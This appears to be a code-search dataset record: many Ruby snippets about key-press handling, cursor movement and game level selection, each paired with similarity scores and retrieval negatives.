\"SIGWINCH WE NEED TO RECALC AND REPAINT resize #{lines}, #{cols}: #{x}, #{y} \"\n\n # next line may be causing flicker, can we do without.\n Ncurses.endwin\n @window.wrefresh\n @window.wclear\n if @layout_manager\n @layout_manager.do_layout\n # we need to redo statusline and others that layout ignores\n else\n @widgets.each { |e| e.repaint_all(true) } # trying out\n end\n ## added RESIZE on 2012-01-5 \n ## stuff that relies on last line such as statusline dock etc will need to be redrawn.\n fire_handler :RESIZE, self \n else\n field = get_current_field\n if $log.debug?\n keycode = keycode_tos(ch)\n $log.debug \" form HK #{ch} #{self}, #{@name}, #{keycode}, field: giving to: #{field}, #{field.name} \" if field\n end\n handled = :UNHANDLED \n handled = field.handle_key ch unless field.nil? # no field focussable\n $log.debug \"handled inside Form #{ch} from #{field} got #{handled} \"\n # some widgets like textarea and list handle up and down\n if handled == :UNHANDLED or handled == -1 or field.nil?\n case ch\n when KEY_TAB, ?\\M-\\C-i.getbyte(0) # tab and M-tab in case widget eats tab (such as Table)\n ret = select_next_field\n return ret if ret == :NO_NEXT_FIELD\n # alt-shift-tab or backtab (in case Table eats backtab)\n when FFI::NCurses::KEY_BTAB, 481 ## backtab added 2008-12-14 18:41 \n ret = select_prev_field\n return ret if ret == :NO_PREV_FIELD\n when FFI::NCurses::KEY_UP\n ret = select_prev_field\n return ret if ret == :NO_PREV_FIELD\n when FFI::NCurses::KEY_DOWN\n ret = select_next_field\n return ret if ret == :NO_NEXT_FIELD\n else\n #$log.debug \" before calling process_key in form #{ch} \" if $log.debug? \n ret = process_key ch, self\n # seems we need to flushinp in case composite has pushed key\n $log.debug \"FORM process_key #{ch} got ret #{ret} in #{self}, flushing input \"\n # 2014-06-01 - 17:01 added flush, maybe at some point we could do it only if unhandled\n # in case some method wishes to actually push some keys\n Ncurses.flushinp\n return :UNHANDLED if ret == :UNHANDLED\n end\n elsif handled == :NO_NEXT_FIELD || handled == :NO_PREV_FIELD # 2011-10-4 \n return handled\n end\n end\n $log.debug \" form before repaint #{self} , #{@name}, ret #{ret}\"\n repaint\n $last_key = ch\n ret || 0 # 2011-10-17 \n end",
"def user_input\n key = @window.getch\n case key\n when Curses::KEY_LEFT\n @in_play.move_left\n when Curses::KEY_RIGHT\n @in_play.move_right\n when Curses::KEY_UP\n @in_play.rotate_r\n when 'z'\n @in_play.rotate_l\n when Curses::KEY_DOWN\n @in_play.position = @ghost_piece.position\n @in_play.add_to_board\n end\n # calculate ghost piece after piece movement\n calculate_ghost_piece\n end",
"def handle_key ch\n $log.debug \" STACKFLOW handle_key #{ch} \"\n return if @components.empty?\n _multiplier = ($multiplier == 0 ? 1 : $multiplier )\n\n # should this go here 2011-10-19 \n unless @_entered\n $log.warn \"XXX WARN: calling ON_ENTER since in this situation it was not called\"\n on_enter\n end\n if ch == KEY_TAB\n $log.debug \"STACKFLOW GOTO NEXT TAB\"\n return goto_next_component\n elsif ch == KEY_BTAB\n return goto_prev_component\n end\n comp = @current_component\n $log.debug \" STACKFLOW handle_key #{ch}: #{comp}\" \n if comp\n ret = comp.handle_key(ch) \n $log.debug \" STACKFLOW handle_key#{ch}: #{comp} returned #{ret} \" \n if ret != :UNHANDLED\n comp.repaint # NOTE: if we don;t do this, then it won't get repainted. I will have to repaint ALL\n # in repaint of this.\n return ret \n end\n $log.debug \"XXX STACKFLOW key unhandled by comp #{comp.name} \"\n else\n $log.warn \"XXX STACKFLOW key unhandled NULL comp\"\n end\n case ch\n when ?\\C-c.getbyte(0)\n $multiplier = 0\n return 0\n when ?0.getbyte(0)..?9.getbyte(0)\n $log.debug \" VIM coming here to set multiplier #{$multiplier} \"\n $multiplier *= 10 ; $multiplier += (ch-48)\n return 0\n end\n ret = process_key ch, self\n # allow user to map left and right if he wants\n if ret == :UNHANDLED\n case ch\n when KEY_UP\n # form will pick this up and do needful\n return goto_prev_component #unless on_first_component?\n when KEY_LEFT\n # if i don't check for first component, key will go back to form,\n # but not be processes. so focussed remain here, but be false.\n # In case of returnign an unhandled TAB, on_leave will happen and cursor will move to \n # previous component outside of this.\n return goto_prev_component unless on_first_component?\n when KEY_RIGHT\n return goto_next_component #unless on_last_component?\n when KEY_DOWN\n return goto_next_component #unless on_last_component?\n else \n @_entered = false\n return :UNHANDLED\n end\n end\n\n $multiplier = 0\n return 0\n end",
"def while_key_down *args\n\t\t\tevent(:while_key_down, *args)\n\t\tend",
"def key_press locator, keycode\r\n command 'keyPress', locator, keycode\r\n end",
"def key_press locator, keycode\r\n command 'keyPress', locator, keycode\r\n end",
"def key_pressed?(key)\n key_const = Gosu.const_get(:\"Kb#{key.to_s.gsub(/\\b\\w/){$&.upcase}}\")\n button_down?(key_const)\n end",
"def any_key\n puts \"\\n\\n Press any key to go back to the main menu\"\n $stdin.getch\n clear\nend",
"def onKeyDown(key, repeat, flags, view)\n #puts \"onKeyDown: #{key}, #{flags}\"\n return if repeat > 1\n self.set_flags flags\n \n case( key )\n when VK_LEFT\n @keys |= LEFT_ARROW\n when VK_RIGHT\n @keys |= RIGHT_ARROW\n when VK_UP\n @keys |= UP_ARROW\n when VK_DOWN\n @keys |= DOWN_ARROW\n when '+'[0]\n @@speed += 1.0\n when '-'[0]\n @@speed -= 1.0\n @@speed = 1.0 if @@speed < 1.0\n else\n return\n end\n @speedx = @@speed\n @speedy = @@speed\n \n # get the distance from the camera to what we are looking at to control the speed\n @distance_to_target = self.guess_target_distance view\n \n view.animation = self\n view.dynamic = 3\nend",
"def show_single_key\n c = read_char\n\n case c\n when \" \"\n RTermGame.println \"SPACE\"\n when \"\\t\"\n RTermGame.println \"TAB\"\n when \"\\r\"\n RTermGame.println \"RETURN\"\n when \"\\n\"\n RTermGame.println \"LINE FEED\"\n when \"\\e\"\n RTermGame.println \"ESCAPE\"\n when \"\\e[A\"\n RTermGame.println \"UP ARROW\"\n when \"\\e[B\"\n RTermGame.println \"DOWN ARROW\"\n when \"\\e[C\"\n RTermGame.println \"RIGHT ARROW\"\n when \"\\e[D\"\n RTermGame.println \"LEFT ARROW\"\n when \"\\177\"\n RTermGame.println \"BACKSPACE\"\n when \"\\004\"\n RTermGame.println \"DELETE\"\n when \"\\e[3~\"\n RTermGame.println \"ALTERNATE DELETE\"\n when \"\\u0003\"\n RTermGame.println \"CONTROL-C\"\n exit 0\n when /^.$/\n RTermGame.println \"SINGLE CHAR HIT: #{c.inspect}\"\n else\n RTermGame.println \"SOMETHING ELSE: #{c.inspect}\"\n end\nend",
"def read\n if click?(keypress)\n Vedeu.trigger(:_mouse_event_, keypress)\n\n elsif reader.raw_mode?\n Vedeu.trigger(:_keypress_, keypress)\n\n elsif reader.fake_mode?\n name = Vedeu.focus\n interface = Vedeu.interfaces.by_name(name)\n key = keypress\n\n if Vedeu::Input::Mapper.registered?(key, name)\n Vedeu.trigger(:_keypress_, key, name)\n\n elsif interface.editable?\n Vedeu.trigger(:_editor_, key)\n\n else\n Vedeu.trigger(:key, key)\n\n end\n else\n Vedeu.trigger(:_command_, command)\n\n end\n end",
"def begin_typing(&block)\n with_keyboard_focus do\n application.keyboard.when_element(:visible?) do\n yield application.keyboard if block_given?\n end\n end\n end",
"def show_single_key\n c = read_char\n \n case c\n when \" \"\n puts \"SPACE\"\n when \"\\t\"\n puts \"TAB\"\n when \"\\r\"\n puts @cursor_pos\n when \"\\n\"\n puts \"LINE FEED\"\n when \"\\e\"\n puts \"ESCAPE\"\n \n\n when \"\\e[A\" ##up\n print \"\\033[1A\\033\"\n @cursor_pos[1] -= 1\n when \"\\e[B\" ##down\n print \"\\033[1B\\033\"\n @cursor_pos[1] += 1\n when \"\\e[C\" ##right\n print \"\\033[1C\\033\"\n @cursor_pos[0] += 1\n when \"\\e[D\" ##left\n print \"\\033[1D\\033\"\n @cursor_pos[0] -= 1\n \n\n when \"\\177\"\n puts \"BACKSPACE\"\n when \"\\004\"\n puts \"DELETE\"\n when \"\\e[3~\"\n puts \"ALTERNATE DELETE\"\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n when \"f\"\n puts \"flag\"\n puts \"SINGLE CHAR HIT: #{c.inspect}\"\n else\n puts \"SOMETHING ELSE: #{c.inspect}\"\n end\n\n #p @cursor_pos\nend",
"def drb_input!\n Vedeu.bind(:_drb_input_) do |data, type|\n Vedeu.log(type: :drb, message: \"Sending input (#{type})\")\n\n case type\n when :command then Vedeu.trigger(:_command_, data)\n when :keypress then Vedeu.trigger(:_keypress_, data)\n else Vedeu.trigger(:_keypress_, data)\n end\n end\n end",
"def key_stroke(keycodeText)\n append_to_script \"key_stroke \\\"#{keycodeText}\\\"\"\n end",
"def new_key_pressed?(key)\n flag = last_keys[key] || SDL::Key.press?(key)\n last_keys[key] = SDL::Key.press?(key)\n flag\n end",
"def on_keyup(key, view)\n return unless key == CONSTRAIN_MODIFIER_KEY\n return if @axis_lock\n\n # Calling this method with no argument unlocks inference.\n view.lock_inference\n end",
"def hold_screen\n print 'Press Enter to continue.'\n gets.chomp\n end",
"def press key, options = {}\n key = 'Return' if key == 'ENTER'\n widget = options[:in] || Gtk::Window.toplevels.first\n event = Gdk::EventKey.new(Gdk::Event::KEY_PRESS)\n event.window = widget\n event.state |= Gdk::Window::CONTROL_MASK if key =~ /CTRL+/\n event.state |= Gdk::Window::MOD1_MASK if key =~ /ALT+/\n event.state |= Gdk::Window::SHIFT_MASK if key =~ /SHIFT+/\n event.keyval = Gdk::Keyval.from_name(key.split('+').last)\n widget.grab_focus\n event.send_event = true\n entry = Gdk::Keymap.default.get_entries_for_keyval(event.keyval).first\n event.hardware_keycode = entry[0]\n widget.signal_emit('key_press_event', event)\n process_events\nend",
"def printSurrenderMessage\n puts \"Aww it's sad to see you go so early. Better luck next round!\"\n pressKeyToContinue\nend",
"def meta_key_up\r\n command 'metaKeyUp'\r\n end",
"def rekey!; end",
"def rekey!; end",
"def read\n Vedeu.log(type: :input, message: \"Waiting for user input...\\n\")\n\n if raw_mode?\n Vedeu.trigger(:_keypress_, keypress)\n\n elsif fake_mode?\n @key ||= keypress\n\n if @key.nil?\n nil\n\n elsif click?(@key)\n Vedeu.trigger(:_mouse_event_, @key)\n\n elsif Vedeu::Input::Mapper.registered?(@key, name)\n Vedeu.trigger(:_keypress_, @key, name)\n\n elsif interface.editable?\n Vedeu.trigger(:_editor_, @key)\n\n else\n Vedeu.trigger(:key, @key)\n\n end\n\n elsif cooked_mode?\n Vedeu.trigger(:_command_, command)\n\n end\n end",
"def entry_point(native_event)\n # A gtk key-press event handler should return true if it handles the keystroke.\n # If not, the event is handled normally by gtk\n res = @map_engine.event @km.map_key native_event\n # if res\n # puts \"we keep the event\"\n # else\n # puts \"no it's ok we don't handle this event you can forward it\"\n # end\n res\n end",
"def press_keycode(key, metastate: [], flags: [])\n @bridge.press_keycode(key, metastate: metastate, flags: flags)\n end",
"def press_keycode(key, metastate: [], flags: [])\n @bridge.press_keycode(key, metastate: metastate, flags: flags)\n end",
"def handle_key(ch)\n @current_index ||= 0\n # added 2009-01-18 22:44 no point moving horiz or passing up to Field if not edit\n if !@editable\n if ch == KEY_LEFT or ch == KEY_RIGHT\n return :UNHANDLED\n end\n end\n case @arrow_key_policy \n when :ignore\n if ch == KEY_DOWN or ch == KEY_UP\n return :UNHANDLED\n end\n when :popup\n if ch == KEY_DOWN or ch == KEY_UP\n popup\n end\n end\n case ch\n #when KEY_UP # show previous value\n # previous_row\n #when KEY_DOWN # show previous value\n # next_row\n # adding spacebar to popup combo, as in microemacs 2010-10-01 13:21 \n when 32, KEY_DOWN+ META_KEY # alt down\n popup # pop up the popup\n else\n super\n end\n end",
"def check_selected_key\n key = @input_window.selected_key\n if key == 0\n return_scene\n else\n $game_system.xinput_key_set[@keys_window.item] = key\n @keys_window.refresh\n @keys_window.activate\n end\n end"
] | [
"0.8434802",
"0.75328165",
"0.73310274",
"0.7329835",
"0.72396547",
"0.7180034",
"0.71790206",
"0.71491224",
"0.7124923",
"0.7111588",
"0.71047133",
"0.7078206",
"0.7070809",
"0.7041493",
"0.703147",
"0.6993018",
"0.69833004",
"0.6952396",
"0.69311166",
"0.6905595",
"0.69026124",
"0.6862543",
"0.68546367",
"0.68368906",
"0.68278724",
"0.6810206",
"0.6794248",
"0.6793659",
"0.6718818",
"0.6702393",
"0.6694253",
"0.6690738",
"0.66890454",
"0.6688597",
"0.6676983",
"0.6676765",
"0.6662926",
"0.6645627",
"0.66448027",
"0.6640903",
"0.66390157",
"0.66209984",
"0.6617852",
"0.6611468",
"0.66039306",
"0.6603231",
"0.6578731",
"0.6569097",
"0.6564387",
"0.6545829",
"0.65446895",
"0.65431076",
"0.6541594",
"0.65142196",
"0.65108734",
"0.6497598",
"0.64921314",
"0.64830655",
"0.64647084",
"0.6456656",
"0.6455099",
"0.6454088",
"0.6444075",
"0.64335126",
"0.64293164",
"0.64260304",
"0.63997704",
"0.6397341",
"0.639119",
"0.6373782",
"0.6370865",
"0.63705134",
"0.6354756",
"0.63400924",
"0.63252294",
"0.6323927",
"0.6323927",
"0.6322411",
"0.6314667",
"0.6309504",
"0.6295891",
"0.6286275",
"0.6275633",
"0.62648046",
"0.62584585",
"0.62524915",
"0.62428474",
"0.6241488",
"0.6240517",
"0.6235417",
"0.6225366",
"0.6218306",
"0.62174374",
"0.62174374",
"0.62121177",
"0.62067854",
"0.61772114",
"0.61772114",
"0.61711603",
"0.6168517"
] | 0.63668615 | 72 |
input the new x and y coordinates | def checkMovement(oldX,oldY,newX,newY)
#initialize the value to return
proposedLocation=@levelArr[newY][newX]
case(proposedLocation)
when '#'
displayArray
when '$'
moveBox(oldX,oldY,newX,newY)
return
when '.'
moveMan(oldX,oldY,newX,newY)
else
#if man is allowed to move, run this
moveMan(oldX,oldY,newX,newY)
return
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n get_x\n get_y\n end",
"def update!(**args)\n @x = args[:x] if args.key?(:x)\n @y = args[:y] if args.key?(:y)\n end",
"def update!(**args)\n @x = args[:x] if args.key?(:x)\n @y = args[:y] if args.key?(:y)\n end",
"def update!(**args)\n @x = args[:x] if args.key?(:x)\n @y = args[:y] if args.key?(:y)\n end",
"def update!(**args)\n @x = args[:x] if args.key?(:x)\n @y = args[:y] if args.key?(:y)\n end",
"def update!(**args)\n @x = args[:x] if args.key?(:x)\n @y = args[:y] if args.key?(:y)\n end",
"def update!(**args)\n @x = args[:x] if args.key?(:x)\n @y = args[:y] if args.key?(:y)\n end",
"def update!(**args)\n @x = args[:x] if args.key?(:x)\n @y = args[:y] if args.key?(:y)\n end",
"def update!(**args)\n @x = args[:x] if args.key?(:x)\n @y = args[:y] if args.key?(:y)\n end",
"def update!(**args)\n @x1 = args[:x1] if args.key?(:x1)\n @x2 = args[:x2] if args.key?(:x2)\n @y1 = args[:y1] if args.key?(:y1)\n @y2 = args[:y2] if args.key?(:y2)\n end",
"def set_loc(x, y)\n @curr_x = x\n @curr_y = y\n end",
"def at_x new_x\n PIXI::Point.new(new_x , self.y)\n end",
"def set_x_y(x,y)\r\n @x=x\r\n @y=y\r\n self\r\n end",
"def update!(**args)\n @x0 = args[:x0] if args.key?(:x0)\n @x1 = args[:x1] if args.key?(:x1)\n @y0 = args[:y0] if args.key?(:y0)\n @y1 = args[:y1] if args.key?(:y1)\n end",
"def place_at(x, y)\n\t\t@x = x\n\t\t@y = y\n\t\tcoords\n\tend",
"def setxy(x, y)\n setpos y, x\n end",
"def adjust _x, _y\n x += _x\n y += _y\n end",
"def at(x, y)\n self.coordinates = [x, y]\n end",
"def call(x, y)\n @position_x += x\n @position_y += y\n end",
"def update_xy()\n if ((pxy=ref_xy) and (cs=column_space) and (rs=row_space) and (cr=colrow).length == 2)\n # see #xy_record for an explanation of this formula\n array = pxy + [pxy[0]+cs*cr[0], pxy[1]] + [pxy[0], pxy[1]+rs*cr[1]]\n @records.set(GRT_XY, array)\n else\n @records.set(GRT_XY, nil)\n end\n end",
"def setposition(x,y)\n\t\t@x = x\n\t\t@y = y\n\tend",
"def new_coords(x,y)\n [x % GRID_WIDTH, y % GRID_HEIGHT]\n end",
"def update!(**args)\n @x_max = args[:x_max] if args.key?(:x_max)\n @x_min = args[:x_min] if args.key?(:x_min)\n @y_max = args[:y_max] if args.key?(:y_max)\n @y_min = args[:y_min] if args.key?(:y_min)\n end",
"def new_coords(x, y)\n [x % GRID_WIDTH, y % GRID_HEIGHT]\n end",
"def update!(**args)\n @x = args[:x] if args.key?(:x)\n @y = args[:y] if args.key?(:y)\n @zoom = args[:zoom] if args.key?(:zoom)\n end",
"def update!(**args)\n @x = args[:x] if args.key?(:x)\n @y = args[:y] if args.key?(:y)\n @zoom = args[:zoom] if args.key?(:zoom)\n end",
"def moveto(x, y)\n @ox = @x = x\n @oy = @y = y \n @real_x = @x * 128\n @real_y = @y * 128 \n end",
"def moveTo x, y\n\n\tend",
"def new_coordinates\n # Last user X & Y coordinates\n lastX = @last_user.x\n lastY = @last_user.y\n\n # New coordinates generator\n if (lastX - 1 > lastY)\n newX = lastX\n newY = lastY + 1\n @new_coordinates = [newX, newY]\n elsif (lastX <= lastY - 1)\n newY = lastY\n newX = lastX + 1\n @new_coordinates = [newX, newY]\n elsif (lastX - 1 === lastY)\n newX = 1\n newY = lastX\n @new_coordinates = [newX, newY]\n elsif (lastX === lastY)\n newX = lastX + 1\n newY = 1\n @new_coordinates = [newX, newY]\n end\n plotX = @new_coordinates[0]\n plotY = @new_coordinates[1]\n\n # Get the newly created user, add and save new coordinates\n new_user = current_user\n new_user.x = plotX\n new_user.y = plotY\n new_user.save\n\n # Create initial plot for the new user\n new_plot = new_user.plots.new\n new_plot.active_plot = true\n new_plot.save\n end",
"def coords; {:x => @x, :y => @y} end",
"def set_mouse_position(x, y); end",
"def position=(point); end",
"def update_pos(x=0,y=0)\n\n # E.g. for a yet to be hit submarine placed at starting position (0,0) horizontally, pos will be:\n # pos [ {:x => 0, :y => 0, :hit => 0 }, {:x => 1, :y => 0, :hit => 0 } ]\n @pos << {:x => x, :y => y, :hit => 0 }\n\n end",
"def update_pos(x=0,y=0)\n\n # E.g. for a yet to be hit submarine placed at starting position (0,0) horizontally, pos will be:\n # pos [ {:x => 0, :y => 0, :hit => 0 }, {:x => 1, :y => 0, :hit => 0 } ]\n @pos << {:x => x, :y => y, :hit => 0 }\n\n end",
"def separate_coordinates\n piece = @input[0..1]\n @row = input_to_row(piece[1])\n @col = input_to_col(piece[0])\n\n location = @input[2..3]\n @row_new = input_to_row(location[1])\n @col_new = input_to_col(location[0])\n end",
"def update(point)\n\t\t\n\tend",
"def update(point)\n\t\t\n\tend",
"def moveto(x, y)\n @ox = @x = x\n @oy = @y = y\n @real_x = @x * 128\n @real_y = @y * 128\n end",
"def identity_x\r\n new_point = identity\r\n new_point.y = 0\r\n return new_point\r\n end",
"def move(x,y=@y)\r\n @x2=x+(@x2-@x1)\r\n @y2=y+(@y2-@y1)\r\n @y1=y\r\n @x1=x\r\n end",
"def new_coord\n [@position, @@move[@direction]].transpose.map { |coord| coord.reduce(:+) }\n end",
"def update!(**args)\n @x_offsets = args[:x_offsets] if args.key?(:x_offsets)\n @y_offsets = args[:y_offsets] if args.key?(:y_offsets)\n end",
"def update!(**args)\n @x_offsets = args[:x_offsets] if args.key?(:x_offsets)\n @y_offsets = args[:y_offsets] if args.key?(:y_offsets)\n end",
"def teleport( x, y )\n @x, @y = x, y\n end",
"def xy=(coords)\n raise ArgumentError unless is_point?(coords)\n @xy = coords\n end",
"def update(x_position, y_position)\n @robot_x_position = x_position\n @robot_y_position = y_position\n end",
"def xy=(value); self.state = { :xy => value }; end",
"def update(point)\n\t\t\t\t\n\t\t\tend",
"def identity_y\r\n new_point = identity\r\n new_point.x = 0\r\n return new_point\r\n end",
"def position\n [x, y]\n end",
"def moveto(x, y)\n #@ox = x; @oy = y\n @x = x % $game_map.width\n @y = y % $game_map.height\n #kk20\n @real_x = @x * 128 + 64\n @real_y = @y * 128 + 64\n end",
"def set(x, y)\n @x, @y = x, y\n end",
"def get_arr_x(x, y) \n x # this coordinate doesn't change\nend",
"def add!(point)\r\n @x += point.x\r\n @y += point.y\r\n end",
"def ini( x, y )\n @x = Coord.set( x )\n @y = Coord.set( y )\n self\n end",
"def update!(**args)\n @xx = args[:xx] if args.key?(:xx)\n @xy = args[:xy] if args.key?(:xy)\n @yx = args[:yx] if args.key?(:yx)\n @yy = args[:yy] if args.key?(:yy)\n end",
"def move_to (x, y)\n @x, @y = x, y\n end",
"def coordinates\n [@y_location, @x_location]\n end",
"def move_to(xx, yy)\n @x = xx\n @y = yy\n normalize\n end",
"def move\n @leading_x = coordinate_array[0]\n @leading_y = coordinate_array[1]\n end",
"def set_position(x, y)\n @pos_x = x\n @pos_y = y\n end",
"def xy=(coords)\n if coords.size != 2\n raise(ArgumentError, \"turtle needs two coordinates\")\n end\n x, y = coords\n must_be_number(x, 'x-coordinate')\n must_be_number(y, 'y-coordinate')\n @xy = x.to_f, y.to_f\n end",
"def set_x_y(x, y)\n @x = x && !x.is_a?(Numeric) ? x.to_f : x\n @y = y && !y.is_a?(Numeric) ? y.to_f : y\n self\n end",
"def at_y new_y\n PIXI::Point.new(self.x ,new_y)\n end",
"def update!(**args)\n @time_offset = args[:time_offset] if args.key?(:time_offset)\n @x_max = args[:x_max] if args.key?(:x_max)\n @x_min = args[:x_min] if args.key?(:x_min)\n @y_max = args[:y_max] if args.key?(:y_max)\n @y_min = args[:y_min] if args.key?(:y_min)\n end",
"def normalize_coords(x, y)\n x = x * -1 - 1 if x < 0\n y = y * -1 - 1 if y > -1\n [x, y]\n end",
"def position= o\n self.x = o.x\n self.y = o.y\n end",
"def update!(**args)\n @x = args[:x] if args.key?(:x)\n @y = args[:y] if args.key?(:y)\n @z = args[:z] if args.key?(:z)\n end",
"def update_location\n self.x = screen_x unless self.disposed?\n self.y = screen_y unless self.disposed?\n end",
"def xy=(value)\n set(:xy => value)\n end",
"def update_disp_prev_xy(x,y)\n @old_show_x_tb_un_var = x; @old_show_y_tb_un_var = y\n end",
"def move(y, x)\n update(y, x)\n apply_pos\n end",
"def get_new_coordinates(choice)\n selected_move = moveset[possible_moves[choice]]\n return x + selected_move[0], y + selected_move[1]\n end",
"def position\n\t\t[ @x, @y ]\n\tend",
"def init_oripost\n @ori_x = original_x\n @ori_y = original_y\n end",
"def place(x, y)\n self.robot_position = {\n x: x,\n y: y\n } if valid_coordinates?(x, y)\n end",
"def update_position\r\n # update selection for grid[col][row]\r\n #puts \"#{@grid[2][0]}\"\r\n \r\n puts \"Enter the row, column and value for your selection.\"\r\n print \"row: \"\r\n row = gets.chomp.to_i\r\n print \"column: \"\r\n col = gets.chomp.to_i\r\n print \"value: \"\r\n val = gets.chomp.to_s\r\n puts\r\n\r\n @grid[row][col] = val\r\n\r\n end",
"def update_visited_moves\n visited_coordinates << [x , y]\n end",
"def point(x,y)\n [x,y]\nend",
"def move(x,y)\n @x +=x\n @y +=y\n end",
"def record_position(x, y)\n pt = Core::Point.new(x, y)\n if @start_point.nil?\n @start_point = pt\n else\n @end_point = pt\n end\n end",
"def update_coordinates(zero_el, other_el)\n x = zero_el[:x]\n y = zero_el[:y]\n\n zero_el[:y] = other_el[:y]\n zero_el[:x] = other_el[:x]\n\n other_el[:y] = y\n other_el[:x] = x\n\n zero_el\nend",
"def move_to(x, y); end",
"def update!(**args)\n @xmax = args[:xmax] if args.key?(:xmax)\n @xmin = args[:xmin] if args.key?(:xmin)\n @ymax = args[:ymax] if args.key?(:ymax)\n @ymin = args[:ymin] if args.key?(:ymin)\n end",
"def initialize\n self.x, self.y = 0, 0\n end",
"def new_step(step_x, step_y)\n Coordinates.new(@x_coordinate + step_x, @y_coordinate + step_y)\n end",
"def move(x, y)\n orig_pos_x = @pos_x\n orig_pos_y = @pos_y\n\n self.pos_x = x\n self.pos_y = y\n\n [@pos_x - orig_pos_x, @pos_y - orig_pos_y]\n end",
"def to_coordinates\n\n CGPointMake(self.x.to_coordinates, self.y.to_coordinates)\n end",
"def position \n\t\treturn @y,@x\n\tend",
"def at(*coordinates)\n position.coordinates = coordinates\n end",
"def to_xy\n [x, y]\n end",
"def set_coordinates\n [rand(-100..100), rand(-100..100)]\n end",
"def\n\t\tprint_point\n\t\tp \"(#{x}, #{y})\"\t\n\tend",
"def update!(**args)\n @h = args[:h] if args.key?(:h)\n @w = args[:w] if args.key?(:w)\n @x = args[:x] if args.key?(:x)\n @y = args[:y] if args.key?(:y)\n end",
"def move_to(x, y)\n object.x = x\n object.y = y\n end",
"def location(x, y, w, h)\n return x - w/2, y + 20\n end",
"def valid_move?(new_x, new_y)\n true\n end",
"def set(x, y)\n @x = x\n @y = y\n self\n end",
"def home()\n\t\t@x = @tam_ancho/2\n\t\t@y = @tam_alto/2\n\tend",
"def position\n [@x, @y]\n end",
"def coords\n [x, y]\n end"
] | [
"0.7397054",
"0.7248767",
"0.7248767",
"0.7248767",
"0.7248767",
"0.7248767",
"0.7248767",
"0.7248767",
"0.7248767",
"0.7076204",
"0.70441294",
"0.69654304",
"0.6941591",
"0.69361556",
"0.6844751",
"0.6824393",
"0.6820134",
"0.6760259",
"0.6740663",
"0.6711654",
"0.67088467",
"0.67061895",
"0.66693544",
"0.6653783",
"0.66429734",
"0.66429734",
"0.66216797",
"0.6553327",
"0.6552128",
"0.65466833",
"0.65394086",
"0.6504352",
"0.64625704",
"0.64625704",
"0.64615864",
"0.645763",
"0.645763",
"0.6447481",
"0.64437246",
"0.6441568",
"0.6432943",
"0.6388159",
"0.6388159",
"0.6386953",
"0.63824594",
"0.6382402",
"0.6358756",
"0.6310711",
"0.63040495",
"0.6298151",
"0.62863207",
"0.62640727",
"0.62430304",
"0.6224129",
"0.6203447",
"0.6196484",
"0.6179555",
"0.6168333",
"0.6146576",
"0.61453503",
"0.6133103",
"0.6131072",
"0.6125412",
"0.61222374",
"0.6121626",
"0.6120789",
"0.6120251",
"0.6119668",
"0.6115164",
"0.61010873",
"0.61006916",
"0.6099",
"0.6091649",
"0.6088581",
"0.60874534",
"0.60858995",
"0.6076394",
"0.6073146",
"0.6049858",
"0.6031022",
"0.6029499",
"0.60250807",
"0.6020395",
"0.6011193",
"0.60086274",
"0.5998067",
"0.59904695",
"0.59818137",
"0.5981227",
"0.59650683",
"0.59632874",
"0.5958226",
"0.5954964",
"0.59487486",
"0.59406984",
"0.59405524",
"0.5938562",
"0.5928448",
"0.59247595",
"0.5922204",
"0.59138954"
] | 0.0 | -1 |
this code will run when the user wants to select a level | def selectLevel
puts "Choose a level from 1 - 90:"
input = gets.chomp()
tempLevelNo = input.to_i
if (input == tempLevelNo.to_s)
if 1 > tempLevelNo || tempLevelNo > 90
puts "Level does not exist, please choose a level from 1-90"
puts "Do you wish to continue choosing? y/n"
case(pressKey)
when "y"
selectLevel
return
when "n"
menuScreen
return
end
else
@levelNo = tempLevelNo
clearScreen
#load onto array
loadArray
#display array
displayArray
end
else
puts "This is not an integer, please enter a level number which is an integer"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_level\n @level = Level.find(params[:id])\n end",
"def set_level\n @level = Level.find(params[:id])\n end",
"def charPressedInMenu\n char = pressKey\n case (char)\n when \"p\"\n #load level of choice\n loadArray\n #displayArray\n displayArray\n when \"q\"\n #stop game\n exit\n when \"c\"\n #request level\n selectLevel\n else\n menuScreen\n end\nend",
"def set_level\n @level = Level.find(params[:id])\n end",
"def level\r\n\tif $lvl == 1\r\n\t\tlevel2\r\n\telse \r\n\t\tif $lvl == 2\r\n\t\t\tlevel3\r\n\t\telse\r\n\t\t\tif $lvl == 3\r\n\t\t\t\tlevel4\r\n\t\t\tend\r\n\t\tend\t\r\n\tend\t\r\nend",
"def choose_level \n puts \"\\n\\nChoose level 1, 2, 3, or 4.\\n\\n\"\n print \"> \"\n test = STDIN.gets.chomp\n \n if (test == \"1\") || (test == \"2\") || (test == \"3\") || (test == \"4\") \n level = test\n\tputs \"\\n\\nProceeding to level #{level}!\\n\"\n\t40.times{print \"_ \"}\n\tlevel\n else\n\tchoose_level\t\n end \n \nend",
"def update_level_\n end",
"def load_level(level_name)\n @game.log.info \"Loading level into game #{level_name}\"\n #@game.animation_controller.clear\n @game.level = @game.level_loader.load_level(level_name)\n if !@game.player\n @game.log.info \"Level loading player\"\n @game.player = @game.player_loader.load_player\n end\n #TODO Hackish and an exact double\n if @game.level.player_start_position\n @game.log.info \"Level setting start player position\"\n @game.player.position = @game.level.player_start_position\n end\n if @game.level.player_start_health\n @game.log.info \"Level setting start player health\"\n @game.player.health = ((@game.level.player_start_health.to_f/100.0) * @game.player.max_health).to_i\n end\n\n @game.log.info \"Level adding player #{@game.player} weapon:(#{@game.player.inventory.weapon})\"\n if @game.player.inventory.weapon\n @game.player.inventory.weapon.inactivate\n end\n @game.level.add_player(@game.player)\n if @game.level.background_music\n @game.sound_controller.play_song(@game.level.background_music, true)\n end\n @game.clock.reset\n @game.temporary_message = nil\n @game.rendering_controller.add_consumable_rendering(@game, RenderingTypes::FADE_IN_LEVEL, 60)\n @game.input_controller.enable_all\n @game.level\n end",
"def _level? level\n\t\t_throw Sl[:'your level is too low'] if _user[:level].to_i < level.to_i\n\tend",
